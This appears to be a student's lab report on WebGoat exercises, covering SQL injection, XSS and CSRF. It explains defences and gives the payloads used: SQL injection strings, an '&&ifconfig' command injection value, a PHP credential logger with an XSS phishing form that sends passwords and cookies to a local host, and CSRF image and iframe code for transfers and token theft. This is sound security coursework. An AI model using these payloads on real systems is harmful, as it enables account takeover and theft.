20145320周岐浩 web安全基礎實踐

20145320周岐浩 web安全基礎實踐

一.實驗後回答問題

（1）SQL注入攻擊原理，如何防護

1、SQL注入攻擊原理

SQL注入攻擊值得是經過構建特殊的輸入做爲參數傳入web應用程序，而這些輸入大都是SQL語法裏的一下組合，

經過執行SQL語句進執行攻擊者所要的操做，其主要緣由是程序沒有細緻的過濾用戶輸入的數據，導致非法數據侵入系統。

2、SQL注入的產生緣由

不當的類型處理，不安全的數據庫配置， 不合理的查詢集處理， 不當的錯誤處理， 轉義字符處理不合適， 多個提交處理不當

3、SQL注入方法通常有兩種：

方法一：採用直接猜表名和列名的方法或者是利用報錯信息來肯定代表和列名

And (Select count(*) from 要猜的表名)<>0  
And (Select count(要猜的列名) from 已知的表名)<>0
注意：<>在sql中是不等於，結果若返回正確則猜的表名和列名是正確的

方法二：後臺身份驗證繞過漏洞

此方法利用的就是AND和OR的運算規則，從而形成後臺腳本邏輯性錯誤

若後臺的查詢語句爲sql='select admin from t_admin where user='request("user")' and passwd='request("user")';
但輸入用戶名密碼若爲  'or 'a'='a'，那麼查詢語句就變成了select admin from t_admin where user=''or 'a'='a' and passwd=''or 'a'='a';
這裏就變成了四個查詢語句即： 假 or 真 and 假 or 真, 先算and再算or，就變成： 假or 假 or真，結果爲真，就能直接接入後臺了。

！！不過要想用這種方法進行攻擊，必須具有一個條件：是這種用戶名和密碼在一個查詢語句中。 或者能夠 'or 1=1 --將後面的語句註釋掉 (--爲sql註釋符)

4、簡單的SQL注入防護方法：

• 一、首先要對輸入的數據進行過濾，將常見的sql語句的關鍵詞：select or ' " 等字符進行過濾。

• 二、對在數據庫中對密碼進行加密，驗證登錄的時候先將 密碼進行加密再與數據庫中加密的密碼進行對比，若此時一致則基本是安全的。

• 三、對數據庫中密碼採用經常使用的MD5加密時儘可能在字符串的前邊和後邊加上指定字符後在進行加密，這樣即使是看到了數據庫也很難破解密碼。

  （2）XSS攻擊的原理，如何防護

  1、XSS攻擊原理　　

　　XSS是什麼？它的全名是：Cross-site scripting，爲了和CSS層疊樣式表區分因此取名XSS。是一種網站應用程序的安全漏洞攻擊，是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上，其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。　　

　　XSS攻擊的主要目的則是，想辦法獲取目標攻擊網站的cookie，由於有了cookie至關於有了seesion，有了這些信息就能夠在任意能接進互聯網的pc登錄該網站，並以其餘人的生份登錄，作一些破壞。預防措施，防止下發界面顯示html標籤，把</>等符號轉義

2、防護措施

當惡意代碼值被做爲某一標籤的內容顯示：在不須要html輸入的地方對html 標籤及一些特殊字符( 」 < > & 等等 )作過濾，將其轉化爲不被瀏覽器解釋執行的字符。

當惡意代碼被做爲某一標籤的屬性顯示，經過用 「將屬性截斷來開闢新的屬性或惡意方法：屬性自己存在的 單引號和雙引號都須要進行轉碼；對用戶輸入的html 標籤及標籤屬性作白名單過濾，也能夠對一些存在漏洞的標籤和屬性進行專門過濾。

（3）XSRF攻擊原理，如何防護

一.XSRF是什麼？

　　XSRF（Cross-site request forgery），中文名稱：跨站請求僞造，也被稱爲：one click attack/session riding，縮寫爲：CSRF/XSRF。

二.XSRF能夠作什麼？

　　你這能夠這麼理解XSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。XSRF可以作的事情包括：以你名義發送郵件，發消息，盜取你的帳號，甚至於購買商品，虛擬貨幣轉帳......形成的問題包括：我的隱私泄露以及財產安全。

三.XSRF漏洞現狀

　　XSRF這種攻擊方式在2000年已經被國外的安全人員提出，但在國內，直到06年纔開始被關注，08年，國內外的多個大型社區和交互網站分別爆出XSRF漏洞，如：NYTimes.com（紐約時報）、Metafilter（一個大型的BLOG網站），YouTube和百度HI......而如今，互聯網上的許多站點仍對此毫無防備，以致於安全業界稱XSRF爲「沉睡的巨人」。

四.XSRF的原理

　　下圖簡單闡述了XSRF攻擊的思想：

從上圖能夠看出，要完成一次XSRF攻擊，受害者必須依次完成兩個步驟：

　　1.登陸受信任網站A，並在本地生成Cookie。

　　2.在不登出A的狀況下，訪問危險網站B。

五.XSRF的防護

我總結了一下看到的資料，XSRF的防護能夠從服務端和客戶端兩方面着手，防護效果是從服務端着手效果比較好，如今通常的XSRF防護也都在服務端進行。

　　服務端的XSRF方式方法不少樣，但總的思想都是一致的，就是在客戶端頁面增長僞隨機數。

　　(1).Cookie Hashing(全部表單都包含同一個僞隨機值)：

這多是最簡單的解決方案了，由於攻擊者不能得到第三方的Cookie(理論上)，因此表單中的數據也就構造失敗了:在表單裏增長Hash值，以認證這確實是用戶發送的請求。而後在服務器端進行Hash值驗證

　　(2).驗證碼

　　這個方案的思路是：每次的用戶提交都須要用戶在表單中填寫一個圖片上的隨機字符串。

　　(3).One-Time Tokens(不一樣的表單包含一個不一樣的僞隨機值)

　　在實現One-Time Tokens時，須要注意一點：就是「並行會話的兼容」。若是用戶在一個站點上同時打開了兩個不一樣的表單，XSRF保護措施不該該影響到他對任何表單的提交。考慮一下若是每次表單被裝入時站點生成一個僞隨機值來覆蓋之前的僞隨機值將會發生什麼狀況：用戶只能成功地提交他最後打開的表單，由於全部其餘的表單都含有非法的僞隨機值。必須當心操做以確保XSRF保護措施不會影響選項卡式的瀏覽或者利用多個瀏覽器窗口瀏覽一個站點。

2、實驗過程

一、webgoat開啓

1）開啓webgoat，打開WebGoat：java -jar webgoat-container-7.0.1-war-exec.jar(請使用你的Tab鍵)

頁面會停在這裏，將此界面最小化（不要關閉）

2）在瀏覽器輸入localhost:8080/WebGoat(注意"WebGoat"大小寫敏感)，進入webgoat（用戶名和密碼默認即可）

二、SQL練習

SQL字符串注入（String SQL Injection）

先找到String SQL Injection的練習

點擊後看到以下題目

題目大意是：這個表單容許使用者查詢他們的信用卡號，使用SQL注入讓全部的信用卡號都看得見。

首先試試Smith

查詢出什麼結果我並不關心，我關心的輸入的去哪了。能夠看見我輸入的Smith在兩個單引號之間。這就好辦了，我如今要作的是讓這個語句中的WHERE這個條件語句失效，怎麼作呢？

咱們都知道 a or 1 無論a是真或假最後輸出都是1，只有咱們構造一個永真式「1」，那麼無論前面的WHERE是否成立都能執行！

因此我這裏構造語句'or 1='1,成功獲得了所有的信用卡號，咱們爲何要這麼構造呢？第一個分號用來閉合last_name的第一個分號，而第二個分號用來閉合last_name的第二個分號。這樣一條語句被強行拆分紅爲兩條語句！

數字型SQL注入（Numeric SQL Injection）

此次咱們選擇嘗試挑戰一下Numeric SQL Injection、

題目大意是這個表單容許使用者看到天氣數據，利用SQL注入使得能夠看見全部數據！

乍眼一看這個都是選項根本沒辦法輸入，咱們該如何進行SQL注入，換句話說我該從哪裏注入啊。。。

嘿嘿，既然沒法在前端注入，那就從捕獲包中修改！！

啓動BurpSuite

設置代理「Proxy」的「Options」選項

默認是8080端口被佔用時須要添加一個新的端口8888，點擊add

添加後勾選，如圖所示

設置瀏覽器的代理

打開瀏覽器右側的「更多」選項卡，找到preference-advanced-settings

其實至關於將burpsuite當成中間服務器，每一個數據包都流過它。

設置好以後回到題目，任意選擇一項，點擊GO，而後回到burpsuite。發現多了捕獲的包：

右鍵send to repeater ，咱們修改station值從爲101 爲 101 or 1=1,點擊GO，能夠看到右邊response包中的SQL語句爲
SELECT * FROM weather_data WHERE station = 101 or 1=1正好是咱們想要的。

回到Proxy中點擊Intercept is on對剩下的包不做處理，回到火狐發現已經成功

注意提醒一下你們，在關閉了burpsuite以後，把瀏覽器的代理調回不使用代理，否則瀏覽器上不了網哦

命令注入（Command Injection）

看下題目：

命令行注入攻擊是個嚴重的威脅。。嘗試給操做系統注入命令行。。

好懂了！就是注入命令行，乍一看沒有任何注入的地方，因此使用burpsuite注入！

咱們對第一個包send to Repeater分析一下：

先正常點GO看看數據都提交到什麼地方

咱們發現可改部分是使用了命令行cat語句，這樣咱們就有隙可乘，注入咱們的命令行！！

我注入的命令是AccessControlMatrix.help"&&ifconfig"，解釋一下，前面是原來的正常命令。而&&在命令行中是執行另一條語句，最後一個雙引號用來封閉原來的雙引號!再次點擊GO發現執行了ifconfig語句

回到webgoat，雖然沒有發現ifconfig的內容，可是顯示成功！

盲數字注入（Blind Numeric SQL Injection）

先看下題目：

目標是獲得一個存放在pins表中值pin的內容，行號cc_number=1111222233334444，是一個int型的數據！

咱們首先嚐試默認的101，發現顯示Account number is valid，說明這個是真！這個很重要，說明咱們能夠構造AND XXXX 語句來進行注入，用於判斷後面的語句是否爲真！

先肯定pin值的範圍,構造

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );

合法，說明pin值大於100

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

不合法說明小於10000

肯定了上下界以後每次使用二分法就能夠獲得結果了！答案爲2364！！本身試試吧，用burpsuite試起來比較簡單。

盲字符串注入（Blind String SQL Injection）

你們能夠參照餘佳源學長的博客20135321_餘佳源_07_SQL注入原理與實踐，原理和上一題基本同樣，只不過這個只是從猜數字變成了猜ascii對應的字符罷了！

LAB：SQL Injection

Stage 1：String SQL Injection

看下題：

使用字符串SQL注入在沒有正確密碼的狀況下登陸帳號boss

嘗試在密碼框中輸入咱們的老套路...（本身試試這裏不寫了）

Stage 2：Parameterized Query #1

本實驗只在WEBGOAT的開發版本上完成，跳過！！

Stage 3：Numeric SQL Injection

看下題目：

該課程的目的是經過注入語句，瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶larry，瀏覽其BOSS的帳戶信息。

首先先字符串注入登陸Larry的帳號！在密碼框裏輸入老套路，登陸後發現咱們只能看見Larry一我的的工資信息

這時咱們要看boss的信息就要注入了！使用burpsuite對咱們提交的信息進行修改

這裏是按員工編號進行查詢首先咱們把截獲的包進行初步的修改，把101改爲112（boss的編號）

可是報錯

再次修改成112 or 1= 1，此次成功了輸出信息，可是仍是Larry的信息，我猜這裏應該是將最首位的信息輸出。那麼此次咱們能夠對信息進行排序讓他排在首位。用社會工程學解釋老闆應該是工資最高的，因此爲了把老闆排到第一個SQL注入排序以下：

112 or 1=1 order by salary desc

咱們成功的看到了boss的信息！

Stage 4：Parameterized Query #2

本實驗只在WEBGOAT的開發版本上完成，跳過！！

三、XSS練習

跨站腳本釣魚攻擊(Phishing with XSS)

看一下要求：關於一個頁面中存在XSS漏洞時，他如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。

再看一下hints：

根據提示我製造一個釣魚網站imgsrc.php，做用就是將傳來的三個參數（username、password、cookie）保存到lyd.log中

imgsrc.php
<!DOCTYPE html>
<html>
<body>  
<?php
echo " PHP 腳本！";
$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]);

$myfile = fopen("lyd.log", "a") or die("Unable to open file!");
fprintf($myfile,"username：");
fwrite($myfile, $uname);
fprintf($myfile,"\n");
fprintf($myfile,"password：");
fwrite($myfile, $pwd);
fprintf($myfile,"\n");
fprintf($myfile,"cookie：");
fwrite($myfile, $ck);
fprintf($myfile,"\n");
fclose($myfile);
/*
system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
*/
?>

</body>
</html>

而後編寫前端代碼，在輸入框中注入這段前端代碼會將提示用戶輸入帳號口令從而完成釣魚攻擊！

<script>
function hack(){
str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;  
 str2="http://127.0.0.1:5320/imgsrc.php?" + str;

XSSImage=new Image; 
XSSImage.src=str2;
alert(str2);
}
</script>

</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>

假裝的表單騙用戶輸入數據！登錄後看看lyd.log裏面的內容！

完成了釣魚！

反射型XSS（Reflected XSS Attacks）

看題目要求：....沒有什麼要求只有介紹，不翻譯了（英語硬傷，只能本身看懂）

使用burpsuite發現，UpdateCart Purchase均以post提交數據，但在Enter your credit card number:以及Enter your three digit access code:處的值均被post原樣返回，因此能夠在此處構造js語言。

<SCRIPT>alert(document.cookie);</SCRIPT>

獲得cookies！

儲存型XSS（Stored XSS Attakcs）

這裏至關因而給用戶發一個信息，用戶在打開這個信息的時候觸發了隱藏在信息裏面js代碼，而後被盜走了cookies。

咱們構造語句：
<script>alert(document.cookie);</script>

點擊20145320！

這裏只是使用彈窗來講明cookies能夠被盜走，能夠把cookies做爲php的輸入，而後盜走！

四、XSCF練習

CSRF

先看一下要求：

大意是：你的目標是發一個email給newsgroup，內容包括一個有惡意URL請求的圖片。URL要指向「attack」（包含參數「Screen」和「Menu」，還有一個額外參數「transferFunds」）。當收到含有CSRF頁面的郵件時，就會執行transferFunds！

作題還要兼職翻譯，心很累。

反正就是給別人發個郵件，其中有個包含XSRF頁面惡意請求的圖像，可是這個圖像又要隱藏！

因此根據題目要求咱們假裝這樣一條語句：
<img src='！attack?Screen=！&menu=！&transferFunds=！' width='1' height='1'>

如今要肯定的是四個感嘆號的值：

第一個要輸入的是哪一個網站的attack，這裏因爲指向本網址，因此能夠不填。

第2、三個感嘆號值須要在網站裏面尋找

第四個感嘆號是你讓被攻擊者想轉多少錢，根據題目要求這裏選了5000！

咱們在下面構造郵件

留點懸念你們本身作作試試。

提交後在下面的Message List裏面能夠看我剛剛發送的郵件

點擊後就執行了<img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>這個代碼，被攻擊者就會給你轉錢了！

咱們須要理解這個練習是如何讓咱們學會XSRF，用戶在經過身份認證登陸銀行的網站A時，瀏覽器拿到了銀行網站的cookies。接下來用戶在A網站開着的狀況下訪問了B網站，這個B網站隱藏在圖片裏面，而圖片又是不可見的，隱藏在Message裏面。說明用戶在不知情的狀況下打開了郵件，順便打開了B網站！B網站給A網站發送惡意請求，在A網站還開着的狀況下，瀏覽器會誤覺得是用戶發送請求，而後就會帶着cookies和B網站發送的請求（例如轉錢等）訪問A網站執行！

CSRF Prompt By-pass

看下題目要求：

和上一個教材類似，發個郵件給newsgrooup，包含兩個惡意請求：一個是轉錢的金額，另外一個是確認轉帳。。。後面的給個眼神本身體會吧

此次的郵件要包括兩條語句！可是參數都是不變的，你們本身手敲一下吧，否則來得太簡單了

換湯不換藥，點擊20145320就完成了轉帳和轉帳確認！

CSRF Token By-Pass

例行看題：

與CSRF課程相似，您的目標是給新聞組發送包含惡意請求的Email實現資金轉帳。爲了成功完成欺騙，您須要得到一個驗證請求Token。顯示轉帳表單的URL相似於CSRF課程中使用的外部參數」transferFunds=main"。載入該頁面，讀取Token並追加到僞造請求中以實現資金轉帳。

我構造了這樣的注入代碼，得到token，可是沒有看到successfully。

function modify()
{

var FrameDoc=document.getElementById("frame1").contentDocument;
var Form=FrameDoc.getElementsByTagName("form");
var token=Form.CSRFToken.value;
var tokenstr="&CSRFToken="+token;

var testFrame=document.getElementById("frame2");
testFrame.src="attack?Screen=307&menu=900&transferFunds=4000"+tokenstr;

}

</script>

<SCRIPT>alert(Form.CSRFToken.value);</SCRIPT>
<iframe id="frame1" frameborder="1" marginwidth="0" marginheight="0"  src="attack?
Screen=307&menu=900&transferFunds=main" onload="modify();" height="500" width="800" scrolling="yes" ></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0"  height="1" width="1" scrolling="yes" ></iframe>

截止到2017/5/9，18：50分
，還差一道題...